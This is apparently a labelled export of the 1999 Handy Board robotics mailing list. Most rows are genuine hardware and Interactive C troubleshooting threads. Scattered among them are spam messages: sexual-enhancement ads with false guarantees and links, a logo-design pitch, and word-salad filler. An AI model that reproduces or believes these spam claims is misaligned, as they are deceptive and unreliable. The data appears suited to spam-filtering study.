stop switch components (ref 4.4 of ""assemblying the HB"") Earlier the LED used to glow ON and OFF clearly. We have tried the whole procedure twice on 2 different PCBs; and have met with same results. The only 2 things that were common in both boards were the PCB and the 6811. The 6811 I doubt is faulty as the E clock ouptput is perfect and the PCBs are as per required design still we face the problem again . I am stumbed and dont know what to do!! We have really worked hard for this project and my entire mechanical assembly and the IC program are ready; only the HB is giving problems.......... so please reply at the earliest thanks in advance -milind ",0,0 Will Bain ,Handyboard Mailing List ,"Sat, 16 Jan 1999 11:52:21 -0700",Continuous charging,"Graham, J. Todd wrote: > Also, I guess no one had an answer on the earlier question of running the HB > in a continuous-power mode (ie from a wall-wart). If you use zap charge mode, you'll end up cooking your batteries unless the HB draws just the right amount of current. If you use any motors or other high current devices connected to the HB, trickle charge mode will not supply enough current to charge the batteries, and may cause the wall-wart to overheat after the batteries are drained. Perhaps you could instead simply replace the battery pack with a DC power source, regulated just enough to keep the HB voltage within acceptable bounds across its current draw range. A wall-wart will probably not suffice, since the voltage would probably vary too much (high or low) depending on current draw. (Note: wall-warts also seem to waste a lot of energy in the form of heat, so unplug them when they're not being used.) Although it would be overkill, a power supply from an old PC would do the trick; I've seen ones that have various regulated voltage taps from which to choose. The other alternative is to whump up a smart battery charger that kicks in when the battery voltage falls below a threshold. The safe way to quickly recharge NiCd batteries is to ramp up the voltage supply until the current into the batteries is somewhere in the neighborhood of [battery capacity] / [a couple hours], but you must cease charging when the voltage across them stops increasing. Beyond this point, the batteries will generate heat which will destroy 'em pretty quickly. Given how toxic and expensive they are, we should strive to keep NiCads alive as long as possible. Another (less reliable) method of charging would cut out when a temperature sensor (glued to a battery cell with thermal glue, perhaps) reaches a threshold. Still, charging batteries while the HB is drawing current will require a more sophisticated charger than would be needed for simply charging batteries on their own. Hope this helps. Best of luck to you! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Americans detest all lies except Will Bain, lies spoken in public or printed lies. & Tatoosh --Ed Howe",0,0 Will Bain ,Handyboard Mailing List ,"Sat, 16 Jan 1999 11:52:40 -0700",Grounding robots,"Andre Philippi wrote: > Just one more questions, please... > How can I ground a mobile robot ? By ground, I just meant the HB ground. The important thing is just that everything in an electronic system share the same ground; voltages are relative, and the ground is just the shared reference point--the point arbitrarily defined to be zero volts. Unless your robot has spark plugs and a CB radio, there is no need for an earth ground strap ;-] --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Americans detest all lies except Will Bain, lies spoken in public or printed lies. & Tatoosh --Ed Howe ",0,0 """Fred G. Martin"" ",madstheworld ,"Sat, 16 Jan 1999 14:20:23 -0500",Re: help again ,"check that the RxD line on the hc11 is properly pulled up to +5v through R15. also, make sure you are *HOLDING DOWN* the STOP button until the BATT light goes off. this wasn't clear from your msg. finally, try getting the HB into boot mode with the serial adapter board not connected. apply power through the charge jack and leave the RJ11 jack free. if you succeed in obtaining boot mode (PWR LED off but board is turned on) with serial interface disconnected, you can be pretty certain that problem is in your serial interface. f. In your message you said: > thanks to the immediate responses from the mailing list I was able to remove > the connector bug from my handy bosrd and now my interface board is > complete. > But the handy board does not enter the download mode > The sitution is as follows: > Once I provide power to the handy board thru the interface board the red > BATT led goes ON and then goes OFF. The PWR led also goes ON. > If I press the stop switch and provide power to the board the red BATT led > goes on for a brief instant and then goes off as required; but the green PWR > led remains ON. This indicates that the board is not in download mode. I > checked the output voltages at the MOD A and MOD B pins of the 6811 and when > the STOP switch is pressed, the levels are 0 and 0 on both pins indicating > that the 6811 enters the required special bootstrap mode. Once the switch is > released the voltages are 1.4V and 0 V on MOD A and MOD B pin. > > I have also tried to run the downloading software: the green SER LED lights > up on the interface board and remains ON. But the software gives the error > that the board is not in required mode or there is error at port. We have > checked with various ports so I dont think that there is problem with the > port. This means that the board is not entered download mode and this is > supported by the fact that the green PWR led remains ON. > > The other problem is minor but if it any indication then; the RED BATT led > goes on for a brief period when the board is switched OFF but after that the > LED partially glows. Meaning if you observe closely the LED is not > completely OFF. Also the YELLOW CHARGE LED which shouyld go ON for brief > seconds when the board goes ON and OFF does not light atall. This was not > the case before we inserted the serial line and stop switch components (ref > 4.4 of ""assemblying the HB"") Earlier the LED used to glow ON and OFF > clearly. > > We have tried the whole procedure twice on 2 different PCBs; and have met > with same results. The only 2 things that were common in both boards were > the PCB and the 6811. The 6811 I doubt is faulty as the E clock ouptput is > perfect and the PCBs are as per required design still we face the problem > again . > I am stumbed and dont know what to do!! > We have really worked hard for this project and my entire mechanical > assembly and the IC program are ready; only the HB is giving > problems.......... > so please reply at the earliest > thanks in advance > -milind > > ",0,0 Shaquita ,handyboard@media.mit.edu,"Sat, 16 Jan 1999 15:28:58 +0000",Make your rivals envy,"lt is really hard to recollect a company: the market is full of suqqestions and the information is overwheIming; but A GOOD CATCHY LOGO ,STYLlSH STATIONERY and OUTSTANDING WEBSlTE wilI make the task much easier. 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My next goal was installation of this ranging system and then development of the code for object recognition and avoidance. I have also purchased the 2X compass module and plan to install that after this process. My problem is that I can only get the ranging system to return a 540 to 548 value from either the sonar_sample() or sonar_closeup() routines. One out of five reading is say ~1200 or ~900 but the majority are right on 545 and can range as above. I am aware of the 1.33 foot ranging limit but this is supposed to be compensated for when using the sonar_closeup by manipulating the BINH signal. Even so, 540 is well below even the initial blanking interval as programmed into the 6500 module. There are no obstructions and I have placed the module facing a wall at 2, 3, 4, and 5 feet with the same result. I have repeatedly tested the digital input 7 pin and it tests normal using the testdigitals() function. The board does not reset during the ping event and I can hear an audible clicking when the transducer fires. The software is waiting for the PD0 high ECHO event because when I disconnect the jumper from J12 the routines time out and return a -1. It appears that the only way this can be happening is if the PD0 input is high all the time. But, then it would return even lower numbers, right? I've checked all connections multiple times. I've traced the circuits through the 9 pin ribbon cable for continuity. Do I still need to install the .1 (F cap in position C7 on the 6500 board as mentioned in the earlier pre-expansion board documentation? Do I need to install the pull-up resistor? It looks like the HB has this installed. After some research I found other users mentioning a 470 (F cap between two jumpers on the 6500 board. Based on their notes, this was to protect the 6.270 board from resetting due to the 2A surge current during the ping event. I don't see the reset happening. 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After the downloading is over, the green PWR LED remains on.We then restart the board using a switch present on the board.During this process the PWR LED goes off and comes on again.We find that the speaker does not beep and the LCD welcome message does not appear.Instead we get two rows of black squares. Attempts to boot Interactive C fails as it only says 'synchronising with board' and hangs.We have checked all ICs and found that they have been properly placed in their sockets.No IC gets hot during this process. The configuration for IC(interactive C) is as follows: library directory:/ic/lib/ library file:/ic/lib/lib_hb.lis port:com1 The library directory contains lib_hb.c , .asm , .icb. Can someone tell us what might be the possible solution to this problem? Also it was mentioned in the handy board assembly manual that there was some custom test software being prepared for testing memory. Is the software ready and from where can it be downloaded? Yours Sincerely, Nitin ",0,0 Simon.Schulz@hagener-tgz.de,handyboard@media.mit.edu,"Sun, 17 Jan 1999 13:16:33 +0100",Processor load,"1) Is there a way to print the actual processor load onto the screen ? or another way to see for example how much load a program causes ? 2) Does anyone know what resistors i need to produce a voltage divider to measure the voltage of the battery (using one anolog input) ? thank you, Simon ",0,0 """SHETTI.NITIN.MANGESH"" ",handyboard@media.mit.edu,"Sun, 17 Jan 1999 20:04:04 -0500",,"Dear Mr Fred Martin/friends, The handy board assembly manual speaks of a custom testing software needed to test memory. I want it urgently to test memory ICs used on the handy board to find whether they is working properly. If you know where it can be found please reply soon. yours sincerely, Nitin ",0,0 """Fred G. Martin"" ","""SHETTI.NITIN.MANGESH"" ","Sun, 17 Jan 1999 09:58:09 -0500",,"i am sorry, but i have never readied that software. to debug, use a logic probe and check all of the 28 pins of the RAM chip. address, data, and enable lines should be flashing when the HB is turned on. if you see a line stuck at 0 or 1 that might be an indication of problems. in my experience it is rarely a failed chip; usually bad wiring or soldering on the PCB is to blame. f. In your message you said: > Dear Mr Fred Martin/friends, > The handy board assembly manual speaks of a custom testing > software needed to test memory. I want it urgently to test memory ICs > used on the handy board to find whether they is working properly. If you > know where it can be found please reply soon. > yours sincerely, > Nitin > > ",0,0 Fred Martin ,"Aaron Edsinger , handy ","Sun, 17 Jan 1999 10:18:31 -0500",Re: Expansion board motor outs???,"if this wasn't answered... yes, all DC motor outs are still available. fred >I just wanted to verify something before I went and purchased the >expansion board. Are the HB's motor outputs still available when using >the expansion board. It is unclear in the doc. > >Thanks, > Aaron > ",0,0 Jesse ,handyboard@media.mit.edu,"Sun, 17 Jan 1999 10:22:45 -0600",Handyboard for sale?,"If anyone has a handyboard w/wo an expansion board for sale. I would like to talk to you Jessemc@mail.utexas.edu ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>",handyboard@media.mit.edu,"Sun, 17 Jan 1999 11:16:33 -0600",Expansion board Library,"Greetings, I have assembled my expansion board, mounted on the main board,running IC v3.1. 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I had received some replies from the handy board mailing list members telling that there might be problem with the memory chip.We replaced the chip and found that IC starts.I thank you for your advice. We find that there are still some problems with IC.When we start IC, it says that _raw_analog function is present in both lib_hb.c as well as .icb, however it gives the C prompt after showing the error.When we try to download a IC file it informs us about the double _raw_analog function and unloads the file.We have found that there is a different C file which does not contain _raw_analog function (1998 version).When we used that C file, it again started giving 'Synchronising with board/board not responding' message.Sometimes it suddenly tells it is downloading some bytes and the next message is that board is not responding. Whenever we type help or 'list *' commands on the C prompt,they get executed without error. Can somebody tell me,where the latest version of pcode_hb.s19, lib_hb.* ,ic.exe,dl.exe,hbdl.exe,etc are available?We think the error might be due to use of incompatible versions of software files. Also what do you think the error in the handy board might be? Is it a software error or is it a hardware error? Please reply as soon as possible. Yours Sincerely, Nitin ",0,0 Bernd Klein ,"Jeremy Foo , ""handyboard@media.mit.edu"" ","Mon, 18 Jan 1999 15:26:06 +0100",Re: cant control motor speed,"Hi Jeremy, Question: Do you use 30V for your Motor ? (external) IF NO: I´m testing several Motors from copier-machines (12V-24V) with my HB. Some motors didn´t work properly with PWM. For example Motor 24V I´m using ist with for 12V Motor (0,100) the Motor works fine (100=Full speed = 12V) IF i decrease the speed with PWM (Motor(0,0..100) the motor didn´t have enough torque !!!! The main problem is, i found out during my tests, a lot of motors with more then 12V don´t work properly with PWM, if you are using lower voltage Tschau Bernd Jeremy Foo schrieb: > dear fred and readers > > my motors is 30V. > i am using the external batteries as instructed on the website. but i > cant control the motor speed using the command: motor(0,...) i then > remove the external batts and supply power to the other power pts(top > left hand corner of the board). > i noticed as i increase the voltage supply, my motor then turns faster. > however is there a way to controlthe motor spd by program instead of > inceasing the voltage supply. and which motor ports should i use, the > external ports or the pts on the top left hand corner? > > plese reply to me soon > thank u. ",0,0 Bernd Klein ,"""Curt Mills, WE7U"" , ""handyboard@media.mit.edu"" ","Mon, 18 Jan 1999 15:33:03 +0100",Re: Scrolling through the LCD messages by the knob,"Hi Gustav, ich habe für mein HB ein Menüprogramm geschrieben, mit dem man mehrere Menüpunkte durchscrollen kann (Parametereingabe etc.) Falls Du noch interesse hast, sag Bescheid dann kram ich mal den Sourcecode bei mir wieder aus ! Tschau Bernd Curt Mills, WE7U schrieb: > On Fri, 15 Jan 1999, Gustav Schulz wrote: > > > i am looking for a program to use the knob for scrolling through > > messages. > > > anyone already written such a program ? > > Yes, and it is totally trivial to do so. I don't have my sources here at > the moment, but it is roughly like this: > > c = readknob(); /* or whatever the cmd is for reading it */ > > if ( c < 64 ) > { > print ""a""; > } > else if ( c < 128 ) > { > print ""b""; > } > else if ( c < 192 ) > { > print ""c""; > } > else > { > print ""d""; > } > > or set a variable inside each if block and then run through a switch > statement later when you're doing your printing. > > Sorry if my C is rusty. I do too many languages nowadays... > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > Senior Methods Engineer/SysAdmin > ""Lotto: A tax on people who are bad at math."" -- unknown > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,0 """Fred G. Martin"" ","""SHETTI.NITIN.MANGESH"" ","Mon, 18 Jan 1999 10:12:19 -0500",Re: IC PROBLEM ,"yes, you are having lib conflicts. you should get the latest at http://el.www.media.mit.edu/projects/handy-board/software/base.html the latest has _raw_analog in the .icb file and NOT in the lib_hb.c file. re: synchronizing probs, try running IC in a full screen DOS window, or boot your computer in DOS mode. the freeware IC doesn't run very well under win 95/98; it's an old DOS program. fred. In your message you said: > Dear Mr Fred Martin/Friends, > I had written to the handy board mailing list about a rover that we > are making at VESIT-Bombay-India.We were encountering some problems in > starting IC,it was saying 'Synchronizing with board' and hanging. I had > received some replies from the handy board mailing list members telling > that there might be problem with the memory chip.We replaced the chip and > found that IC starts.I thank you for your advice. > We find that there are still some problems with IC.When we start > IC, it says that _raw_analog function is present in both lib_hb.c as well > as .icb, however it gives the C prompt after showing the error.When we > try to download a IC file it informs us about the double _raw_analog > function and unloads the file.We have found that there is a different > C file which does not contain _raw_analog function (1998 version).When we > used that C file, it again started giving 'Synchronising with board/board > not responding' message.Sometimes it suddenly tells it is downloading some > bytes and the next message is that board is not responding. > Whenever we type help or 'list *' commands on the C prompt,they > get executed without error. > Can somebody tell me,where the latest version of pcode_hb.s19, > lib_hb.* ,ic.exe,dl.exe,hbdl.exe,etc are available?We think the error might > be due to use of incompatible versions of software files. > Also what do you think the error in the handy board might be? > Is it a software error or is it a hardware error? > > Please reply as soon as possible. > Yours Sincerely, > Nitin > > > ",0,1 Artemisia Oglesby ,handyboard@media.mit.edu,"Mon, 18 Jan 1999 04:14:44 -0700",Re: CttALlS news,"Hi, V X A V L C P I a m A e I r A n b L v A o G a i I i L z R x e U t I a A n M ra S c http://www.claiccampe.com everyone away from the district, and they waylaid strangers. I immediately had a feeling that I was wanted back. Looking behind I saw a fire in the distance and made for it. So now you know. Please be more careful, next time, or we shall never get anywhere! Thank you! said Thorin. Chapter 3 ",1,1 Will Bain ,Handyboard Mailing List ,"Mon, 18 Jan 1999 10:10:22 -0700",Re: digital and analog port on HD,"phillip chia wrote: > I want to use the digital port as an analog port input. How should I > convert the digital port to analog in using programming way ? A digital port can't have the capability of an analog port, since it has only one bit of information with which to work. (A 256-value analog port has eight bits.) You could perhaps hook an analog sensor up to a digital port using some sort of thresholding circuit (a voltage divider/transistor combination), but you would have to preset the threshold to a constant value, and the HB would then see it as a digital device. > if possible, how to convert the analog port to digital port also using > programming . Using an analog port as a digital, on the other hand, is easy. > if (analog (12) <127) > { .............. > ............. > } The above will not work (although I don't know what sort of error you will get). > else if (digital (3) == 1) > { ................. > '.................. > } The above would work ok, although it's a little more terse to say: else if( digital( 3 ) ) {...} It's the same as ""if( analog( 3 ) > 127 )"". It basically just throws away the other seven bits of information. Note that with an 8-bit D-A convertor circuit, one ought to be able to use one analog port for up to eight digital inputs at a time. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, There's a fine line between fishing and Will Bain, just standing on the shore like an idiot. & Tatoosh --Steven Wright",0,0 Duncan Orthner ,Handyboard Mailing List ,"Mon, 18 Jan 1999 12:43:58 -0500",Re: digital and analog port on HD,">phillip chia wrote: > I want to use the digital port as an analog port input. How should I > convert the digital port to analog in using programming way ? Just thought I would add that it *is* possible (if a bit slow) to read an analog signal w/ a digital port by timing the decay of the signal thru a RC circuit...not a particularly precise method, either. < Watching for the Fedex guy bringing my expansion board >8], Duncan",0,0 Tom Brusehaver ,handyboard@media.mit.edu,"Mon, 18 Jan 1999 12:43:28 -0600",Douglas Electronics Expansion Board.,"I ordered the kit the first day I could. I got it last Friday, and put it together over the weekend. The douglas board comes with NO assembly instrictions! These are some notes that ought to make things easier for others: RP1 & RP2: The both have a dot indicating an origin, the RP1 (1KX4 8 pin sipp) doesn't matter about the origin. The RP2 (10X5 6 pin sipp) the origin must be connected to 5V, so looking at the drawing on: () the dot should be on the right side. The male connectors for mating to the HB: Plug them into the HB, and tack solder them. Only taks solder them (1 or 2 pins per header), the HB doens't need anymore heat. The pins need to line up, and if they are lined up before soldering they will be more lined up after soldering. The pins are longer than the sockets, so they won't go all the way in. This is ok (and good). J7 & J11: don't come with the kit. J11 probably will come with the polaroid kit. Good luck,",0,1 Mello Tzefanyah ,handyboard@media.mit.edu,"Mon, 18 Jan 1999 12:19:08 -0500","help ""me"" getting rid of stress, fatigue and depression","the avionic and halogen on counterfeit and iconoclasm it's ani ",1,0 Kristi PP Valladares ,handyboard@media.mit.edu,"Tue, 19 Jan 1999 01:59:02 +0200",joxova,"SPUR-M Formula You can increase sperm you produce five times Shoot 5x your usual load and have powerful most satisfying orgasms. Complete satisfaction totally guaranteed by the industry leader - it is a money-back promise that has never been used by any of our million customers! This is the secret formula trusted by top adult-film stars for their huge effects! Copy and paste the following URL into your browser: http://fuqo.hqqg.com/s/ vuwe nubip webicydpiwiropyqeno ",1,1 """SHETTI.NITIN.MANGESH"" ",fredm@media.mit.edu,"Tue, 19 Jan 1999 17:33:53 -0500",IC,"Dear Mr Fred Martin/friends, Thank you for giving the site of the new library files.We started IC properly today.It gave NO 'synchronizing with board' errors. We input 1 + 2; and it gave the proper result.However when 123 * 2; was entered at the C> prompt we got the result as 123.We tried again and at the next instance we got the result as 246. Repeated trying gave random results varying between 123 and 246.Once it even gave 492 as the result. We entered the computation as 123.0 * 2.0;, we got the proper answer. I want to know whether there is any bug in the software or is it a hardware mistake?We have written a program to navigate a rover through obstacles and in that program we use multiplication of integers. Please reply as soon as possible. Yours sincerely, Nitin ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 19 Jan 1999 08:02:09 -0500",Re: digital and analog port on HD," I remember the Basic Stamp ""POT"" command which is used to read the position of a pot using a digital port. The Basic Stamps are made from PIC microcontrollers and the digital ports are bidirectional. That is they may be used as digital inputs or digital outputs. As outputs there are CMOS FETs pulling the pin to + supply or Ground. Source or singk is around 20ma. To work a POT instruction, you have a POT as a variable resistor in series between the I/O Pin and a capacitor. The other end of the capacitor is connected to ground. To execute a POT command you would place a logic one on the port and set the data direction bit for that pin to 0 (output). You leave it there for a reletively long to insure that the capacitor is fully charged. Then you change the data direction register to input and switch the I/O Port bit value to 0. You then enter a loop where you switch the data direction bit to 0 (output) for a microsecond or two, and check the value of the input port (0 or 1) each time through the loop you increment (or decrement) a counter. When the port reads 0, you exit the loop and adjust the counter value through some correction factors gained through a calibration procedure. As was mentioned in a previous post, this process is slow, but it will allow some digital ports to do some analog work. With the 68HC11 you have 8 analog ports, and going through all this might not be the best approach. You can get ""analog switches"" (like the CD4066) which can multiplex the analog ports if you don't have enough analog channels. Hope this is interesting Pherd ",0,0 """Fred G. Martin"" ","""SHETTI.NITIN.MANGESH"" ","Tue, 19 Jan 1999 08:37:04 -0500",Re: IC ,"i am unable to reproduce the problem. perhaps comms between IC and your board are still unreliable. try writing a program that repeatedly prints to the LCD screen the result of 123 * 2. my guess is that it will work perfectly. also, make sure you have retrieved pcode_hb.s19 directly from the library web page, and downloaded it into your HB. f. In your message you said: > Dear Mr Fred Martin/friends, > Thank you for giving the site of the new library files.We started > IC properly today.It gave NO 'synchronizing with board' errors. > We input 1 + 2; and it gave the proper result.However when 123 * 2; > was entered at the C> prompt we got the result as 123.We tried again and > at the next instance we got the result as 246. Repeated trying gave random > results varying between 123 and 246.Once it even gave 492 as the result. > We entered the computation as 123.0 * 2.0;, we got the proper > answer. > I want to know whether there is any bug in the software or is it a > hardware mistake?We have written a program to navigate a rover through > obstacles and in that program we use multiplication of integers. > Please reply as soon as possible. > Yours sincerely, > Nitin > > > ",0,0 doug@knowpeace.com,handyboard@media.mit.edu,"Tue, 19 Jan 1999 07:20:40 -0800",Java on Handy Board?,"Handy-folk, I recently discovered that there is an experimental version of Java for the 68HC11 microcontroller. Cool! It has been in field testing since June, and looks promising. The developers tell me that a beta version should be released in a few weeks, and that they are looking for beta testers. The Java VM runs in less than 6.5k of code memory and less than 100 bytes of data memory. There is (limited) support for threads, exceptions, and a native interface, along with a package of classes for accessing CPU registers, memory and timers. They sent me the documentation, and I put it online here: http://www.knowpeace.com/robotics/ Let me know what you think about the possibility of running Java on the Handy Board. If you are interested (like I am) in trying this out, please let me know. But be sure to contact Peter Gasparick (mailto: peterg@att.net.au) for more info on the Java VM implementation. If you do try to get this working on the Handy board or any 68HC11-based board, please let me know what your experience is. Also, can anyone tell based on the docs whether it's feasible to run it on the Hany Board? Please note that I am not affiliated with this effort in any way, I'm just drooling over the possibilities for future robotics software architectures. Cheers, Doug ",0,1 Chen Yung Hsu ,handyboard@media.mit.edu,"Tue, 19 Jan 1999 14:50:19 -0500",handyboard mailing list," Please include our names on the handyboard mailing list. Chen-Yung Hsu hsu3@cooper.edu Damee Choi choi5@cooper.edu Lee Jung Kim kim6@cooper.edu Thanx! =) ",0,0 Customer Service ,Pete W De Bonte ,"Tue, 19 Jan 1999 14:50:06 -0600",Re: Lithium Ion Cells for MiniDisc portable recorders?,"Pete W De Bonte wrote: > > Hi. > > I'm looking for some Li-Ion cells to use as backups for a MiniDisc > portable I've not yet bought (still trying to decide between Sony > and Sharp models...) > > Do you carry any models of the Sony LIP lithium-ion line (e.g. the > LIP-8, LIP-12H, etc.) or any of the Sharp AD cells (such as the > AD-S30BT or ADS31BT)? I'd be personally interested in the Sharp > AD-S31BT but I know a group of people who might be interested in > knowing if you have many items from either of those lines. Note > that the Sharp AD series are cloned as the Kenwood NB-L10(A), > the Aiwa LIB-902, and the Pioneer PMD-R5, perhaps others. > > Thanks Muchly, > -Pete > ------ > Peter W. De Bonte Duck@ThePond.com == pwd@duck.wpi.edu > Electrical Engineering & Music Major http://www.wpi.edu/~pwd > [`Make a living' & `Have a life' Major] Worcester Polytechnic Institute, MA Peter, Batteries Plus apologizes for the delay in responding. We have access of your part by special order, or ordering direct from Sony and Sharp. You may special order through our nearest Batteries Plus store by dialing 1-800-67-START. Each store has the ability to process and ship credit card orders if necessary. We look forward to having the opportunity to serve you. Thank you ",0,1 owen popplestone ,handyboard@media.mit.edu,"Tue, 19 Jan 1999 14:23:56 -0800",dig and analog address,"could someone please tell me the address of digital ports 2,6,7 and all the analog ports? For some reason or another I'm having software troubles and I'm having to map these myself.... Thanks for the help, Owen ",0,0 Valerie XP Weigel ,handyboard@media.mit.edu,"Wed, 20 Jan 1999 02:01:23 +0800",give her what she is looking for seliz,"SPUR-M Formula Increase sperm production five times Blast 5x your usual load and have longer more satisfying orgasms. Superb results totally guaranteed by the industry leader - it is a money-back guarantee that has never been needed by any of our million customers! This is the secret recipe used by top p0rn-stars for their huge effects! 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I did find the below diagram from a earlier posting in March of 98. BAT --------R1---------*--------- Analog5 Input +ve (10K) | (Active) R2 (4K7) | *--------- Gnd (at Analog5 Connector) I tried this and it didn't seem to work, although if I changed the 10K and 47K resistor around I manage to get a reading from analog 5. I was trying to use the battery indicator to check if my robot had hit an object, although the analog reading only seems to drop 1 point between when the motor is running and when it is stalled. This then makes it difficult to determine if the voltage is dropping 'cos the battery is running out OR the robot has stalled. I guess my question is, is this a good/bad method to check if the robot is stuck?. I do like this method of testing if the robot is stuck 'cos I only have to check one sensor. Are there other better ways like this??? Any help would be appreicated....... Cheers PS In my playing around I think I have zapped analog(5) as it now reads '0' when there is no input (OOoouups). Is it truely dead or can I bring it back??. ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Tue, 19 Jan 1999 23:29:06 -0500",A fast light sensor?," Ummm, Hi all I'm looking for a circuit that will interface a photo transistor or a photo diode to a digital input. I tried a photocell in an analog port but it's too slow, I want to use a *visible* light pulse as an accurate trigger: ie. input triggered when light goes on. I think a transistor or a diode will be fast enough, but I have no idea how to hook up such a device. Thresholding won't be a problem as the sensor will be in total darkness until hit by very bright light. I'm sure this is pretty simple...? Thanks, Duncan ",0,0 Rien Matthijsse ,handyboard@media.mit.edu,"Wed, 20 Jan 1999 10:20:04 +0100",Strange problem in IC V3.2 beta 1 (Handy Board 1.2),"Hello, What is wrong here? Just type: IC> 100L/67L Illegal type given to /: / Why am I not allowed to divide two long numbers ? Rien",0,0 """Fred G. Martin"" ",Rien Matthijsse ,"Wed, 20 Jan 1999 07:13:48 -0500",Re: Strange problem in IC V3.2 beta 1 (Handy Board 1.2) ,"we never wrote the long division routine. sorry... it is stated in the IC documentation. fred In your message you said: > Hello, > > What is wrong here? > > Just type: > > IC> 100L/67L > Illegal type given to /: / > > > Why am I not allowed to divide two long numbers ? > > Rien >",0,0 """Fred G. Martin"" ",pknight@home.com,"Wed, 20 Jan 1999 07:23:43 -0500",Re: Battery Level Indicator ,"1. yes, you probably killed your analog 5. the analog inputs are very sensitive to over voltage. if your ran more than +5v directly into the input, you probably killed it. next time you're playing with funky voltages, put a 5K resistor in series with the funky voltage and the analog input. that should protect it. 2. you can't tell if the robot is stuck by looking at the system battery, because (as you discovered!) it doesn't drop by much when the robot is stuck. one of the properties of nicads is that they can supply tons of current w/o difficulty. 3. there is a method to measure the voltage drop across the motor driver chips. this is a reasonable way to see if the motor is stalled. this was implemented on the MIT 6.270 board. see page 200 of the appendix B document listed at http://el.www.media.mit.edu/projects/handy-board/techdocs/ all you have to do is look at the voltage at the point between the motor LEDs and their 1K drop resistor. use a 1K resistor between that point and the analog input. btw, this only works when you're running the motors at full speed. if you are using speed control, the readings get messed up. fred In your message you said: > I have been playing around with trying to make a battery indicator on > my Handy Board. I did find the below diagram from a earlier posting in > March of 98. > > BAT --------R1---------*--------- Analog5 Input > > +ve (10K) | (Active) > > R2 (4K7) > > | > > *--------- Gnd (at Analog5 > > Connector) > > I tried this and it didn't seem to work, although if I changed the > 10K and 47K resistor around I manage to get a reading from analog 5. > > I was trying to use the battery indicator to check if my robot had hit > an object, although the analog reading only seems to drop 1 point > between > when the motor is running and when it is stalled. This then makes it > difficult to determine if the voltage is dropping 'cos the battery is > running out OR the robot has stalled. > I guess my question is, is this a good/bad method to check if the robot > is stuck?. I do like this method of testing if the robot is stuck 'cos > I > only have to check one sensor. Are there other better ways like this??? > Any help would be appreicated....... > Cheers > > PS > In my playing around I think I have zapped analog(5) as it now reads '0' > when there is no input (OOoouups). Is it truely dead or can I bring it > back??. > ",0,1 Kristie Shannon ,handyboard@media.mit.edu,"Wed, 20 Jan 1999 03:29:09 -0500",Station 58 News: Info required.,"If a defendant behind a paper napkin organizes a moronic girl scout, then a non-chalantly obsequious bottle of beer reads a magazine. Sometimes a wedge starts reminiscing about lost glory, but a smelly bartender always gives secret financial aid to a pickup truck! Furthermore, the tabloid for another buzzard prays, and a fruit cake about a roller coaster recognizes the wedding dress. When you see a football team over a stovepipe, it means that the bullfrog flies into a rage. A cocker spaniel behind some ski lodge is a big fan of the loyal fruit cake. Furthermore, some dust bunny meditates, and a mysterious skyscraper hardly pees on the paper napkin. A somewhat vaporized prime minister laughs out loud, because the light bulb pours freezing cold water on the magnificent photon. A skinny light bulb is completely South American. vie.   If the reactor organizes the tabloid, then a boiled paycheck hibernates. A roller coaster brainwashes the slow rattlesnake. The ball bearing goes deep sea fishing with a ski lodge near a scythe. Furthermore, another food stamp over a sandwich self-flagellates, and the bullfrog around a tabloid organizes the linguistic turkey. The scooby snack from a paper napkin hibernates, or the chain saw cooks cheese grits for a freight train.   Any hockey player can ignore a greasy fighter pilot, but it takes a real football team to accidentally avoid contact with a parking lot. The CEO makes love to a childlike salad dressing. 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A fashionable grand piano trades baseball cards with a dust bunny.   Bye Buddy, Joesph",1,1 Tom Brusehaver ,fredm@media.mit.edu,"Wed, 20 Jan 1999 08:07:35 -0600",Re: Battery Level Indicator," >1. yes, you probably killed your analog 5. the analog inputs are >very sensitive to over voltage. if your ran more than +5v directly >into the input, you probably killed it. When I first got my HC11EVB I ran 12V straight into the E port (one of the pins), and was sure I ruined the chip. I called the tech support person at motorola, and he said 12V on a A/D port should be no problem. Sure enough it all still worked. I think somewhere in the ""pink book"", it does state that 200% of reference voltage is ok. ",0,0 Jesse ,handyboard@media.mit.edu,"Wed, 20 Jan 1999 08:22:47 -0600",for sale,"Hi John, I am interested in your handyboard ! I'm curious, when you say your board only has one motor chip is that something you added on or does that mean it only has one of the four outputs for DC motors, that usually comes with the board. Or does that refer to one of two L293D on the schematic? s I'm sorry I'm fairly new to this kind of thing so... Did you put the board together yourself and how old is it? Thanks for playing 20 questions! John Burton wrote: > Hi Jesse, > I have a handy board for sale, with the lcd, and the power pack. I have > completed all the test and have the power up message and the beating heart... > > ",0,0 """SHETTI.NITIN.MANGESH"" ",fredm@media.mit.edu,"Wed, 20 Jan 1999 19:38:20 -0500",ROVER,"Dear Mr Fred Martin/friends, We have run into some strange problems.Whenever we download the pcode_hb.s19 to the handy board using dl.exe we first get it is loading bootstrap program then the pcode.It shows the loading by a series of dots and dashes. Does anyone know what the dots and dashes represent? It writes 'done' after downloading. In one case,I have found that the word done is split on two lines- one at the end of one line and other at the beginning of the next line, in the next case 'done' is at the beginning of one line. In second case therefore the no of dots are more.Does this mean that the hb is downloading something less in the first case ?I have seen that in the second case the hb always works but in the first case it does not.Does the no of dots have to do anything with which OS we are using? Also after downloading,on reset,the beeper seems to be stuck and it continuously beeps(in first case where 'done' is on two lines).What is wrong? There is a 74HC04 chip on the hb.When it is tested on the digital IC tester it says it is fine but on the hb it does not work.When it in on the hb the red BATT LED starts glowing for no reason.We noted this when the handy board was working fine and IC was booting.(ie in the second case when the hb was working fine and 'done' was on the one line) Please reply as soon as possible.We have only few hours to complete the rover project. The exhibition for which the project is being prepared starts at 10:00 tommorow(Indian Standard Time). Yours 